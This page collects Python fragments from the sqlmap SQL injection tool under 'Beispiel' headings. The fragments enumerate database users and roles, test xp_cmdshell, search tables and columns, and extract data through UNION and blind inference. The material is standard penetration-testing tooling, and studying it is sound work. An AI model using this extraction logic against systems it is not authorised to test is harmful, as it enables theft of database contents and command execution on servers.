Beispiel #1
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Beispiel #2
0
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
                                        items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)
Beispiel #3
0
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limits:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = __oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
                                items = parseUnionPage(output)
                                if isNoneValue(items):
                                    continue
                                with kb.locks.value:
                                    for item in arrayizeValue(items):
                                        threadData.shared.value.append(item)
                            else:
                                items = (
                                    output.replace(kb.chars.start, "")
                                    .replace(kb.chars.stop, "")
                                    .split(kb.chars.delimiter)
                                )

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (
                                    time.strftime("%X"),
                                    "resumed" if threadData.resumed else "retrieved",
                                    safecharencode(",".join('"%s"' % _ for _ in flattenValue(arrayizeValue(items)))),
                                )

                                if len(status) > width:
                                    status = "%s..." % status[: width - 3]

                                dataToStdout("%s\r\n" % status, True)
Beispiel #4
0
    def _xpCmdshellTest(self):
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
        threadData.disableStdOut = True

        logger.info("testing if xp_cmdshell extended procedure is usable")
        output = self.xpCmdshellEvalCmd("echo 1")

        if output == "1":
            logger.info("xp_cmdshell extended procedure is usable")
        elif isNoneValue(output) and conf.dbmsCred:
            errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
            errMsg += "storing console output within the back-end file system "
            errMsg += "does not have writing permissions for the DBMS process. "
            errMsg += "You are advised to manually adjust it with option "
            errMsg += "--tmp-path switch or you will not be able to retrieve "
            errMsg += "the commands output"
            logger.error(errMsg)
        elif isNoneValue(output):
            logger.error("unable to retrieve xp_cmdshell output")
        else:
            logger.info("xp_cmdshell extended procedure is usable")

        threadData.disableStdOut = popValue()
Beispiel #5
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[DBMS.ORACLE].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(',')
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if user in kb.data.cachedUsersRoles:
                        kb.data.cachedUsersRoles[user] = list(
                            roles.union(kb.data.cachedUsersRoles[user]))
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and isInferenceAvailable(
        ) and not conf.direct:
            if conf.user:
                users = conf.user.split(',')
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if count != 0 and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getLimitRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, union=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersRoles.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return kb.data.cachedUsersRoles, areAdmins
def pivotDumpTable(table, colList, count=None, blind=True):
    lengths = {}
    entries = {}

    dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind

    validColumnList = False
    validPivotValue = False

    if count is None:
        query = dumpNode.count % table
        query = whereQuery(query)
        count = inject.getValue(
            query,
            union=False,
            error=False,
            expected=EXPECTED.INT,
            charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(
                query, blind=False, time=False, expected=EXPECTED.INT)

    if isinstance(count, basestring) and count.isdigit():
        count = int(count)

    if count == 0:
        infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(
            table)
        logger.info(infoMsg)

        for column in colList:
            lengths[column] = len(column)
            entries[column] = []

        return entries, lengths

    elif not isNumPosStrValue(count):
        return None

    for column in colList:
        lengths[column] = 0
        entries[column] = BigArray()

    colList = filter(None,
                     sorted(colList, key=lambda x: len(x) if x else MAX_INT))

    if conf.pivotColumn:
        for _ in colList:
            if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I):
                infoMsg = "using column '%s' as a pivot " % conf.pivotColumn
                infoMsg += "for retrieving row data"
                logger.info(infoMsg)

                colList.remove(_)
                colList.insert(0, _)

                validPivotValue = True
                break

        if not validPivotValue:
            warnMsg = "column '%s' not " % conf.pivotColumn
            warnMsg += "found in table '%s'" % table
            logger.warn(warnMsg)

    if not validPivotValue:
        for column in colList:
            infoMsg = "fetching number of distinct "
            infoMsg += "values for column '%s'" % column
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
            query = whereQuery(query)
            value = inject.getValue(query,
                                    blind=blind,
                                    union=not blind,
                                    error=not blind,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if isNumPosStrValue(value):
                validColumnList = True

                if value == count:
                    infoMsg = "using column '%s' as a pivot " % column
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

                    validPivotValue = True
                    colList.remove(column)
                    colList.insert(0, column)
                    break

        if not validColumnList:
            errMsg = "all column name(s) provided are non-existent"
            raise SqlmapNoneDataException(errMsg)

        if not validPivotValue:
            warnMsg = "no proper pivot column provided (with unique values)."
            warnMsg += " It won't be possible to retrieve all rows"
            logger.warn(warnMsg)

    pivotValue = " "
    breakRetrieval = False

    def _(column, pivotValue):
        if column == colList[0]:
            query = dumpNode.query.replace(
                "'%s'", "%s") % (agent.preprocessField(
                    table, column), table, agent.preprocessField(
                        table, column), unescaper.escape(pivotValue, False))
        else:
            query = dumpNode.query2.replace(
                "'%s'", "%s") % (agent.preprocessField(table, column), table,
                                 agent.preprocessField(table, colList[0]),
                                 unescaper.escape(pivotValue, False))

        query = whereQuery(query)
        return unArrayizeValue(
            inject.getValue(query,
                            blind=blind,
                            time=blind,
                            union=not blind,
                            error=not blind))

    try:
        for i in xrange(count):
            if breakRetrieval:
                break

            for column in colList:
                value = _(column, pivotValue)
                if column == colList[0]:
                    if isNoneValue(value):
                        for pivotValue in filter(
                                None,
                            ("  " if pivotValue == " " else None, "%s%s" %
                             (pivotValue[0], unichr(ord(pivotValue[1]) + 1))
                             if len(pivotValue) > 1 else None,
                             unichr(ord(pivotValue[0]) + 1))):
                            value = _(column, pivotValue)
                            if not isNoneValue(value):
                                break

                    if isNoneValue(value):
                        breakRetrieval = True
                        break
                    pivotValue = safechardecode(value)

                if conf.limitStart or conf.limitStop:
                    if conf.limitStart and (i + 1) < conf.limitStart:
                        warnMsg = "skipping first %d pivot " % conf.limitStart
                        warnMsg += "point values"
                        singleTimeWarnMessage(warnMsg)
                        break
                    elif conf.limitStop and (i + 1) > conf.limitStop:
                        breakRetrieval = True
                        break

                value = "" if isNoneValue(value) else unArrayizeValue(value)

                lengths[column] = max(lengths[column],
                                      len(value) if value else 0)
                entries[column].append(value)

    except KeyboardInterrupt:
        warnMsg = "user aborted during enumeration. sqlmap "
        warnMsg += "will display partial output"
        logger.warn(warnMsg)

    except SqlmapConnectionException, e:
        errMsg = "connection exception detected. sqlmap "
        errMsg += "will display partial output"
        errMsg += "'%s'" % e
        logger.critical(errMsg)
Beispiel #7
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")
        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact("column")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True, bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info("%s%s" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query += whereTblsQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)
Beispiel #8
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = "|".join(conf.tbl.split(","))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if dbCond and conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                whereDbsQuery = ""

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                        newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = "fetching number of databases with table"
                        if tblConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no databases have table"
                            if tblConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == "2":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == "2":
                            continue
                    else:
                        for db in conf.db.split(","):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
                    foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if query.endswith("'%s')"):
                            query = query[:-1] + " AND %s)" % tblQuery
                        else:
                            query += " AND %s" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in foundTbls.keys():
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Beispiel #9
0
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than one field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if " ORDER BY " in countedExpression.upper():
                    _ = countedExpression.upper().rindex(" ORDER BY ")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise SqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
                            output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
                        errMsg += "with switch '--fresh-queries'"
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

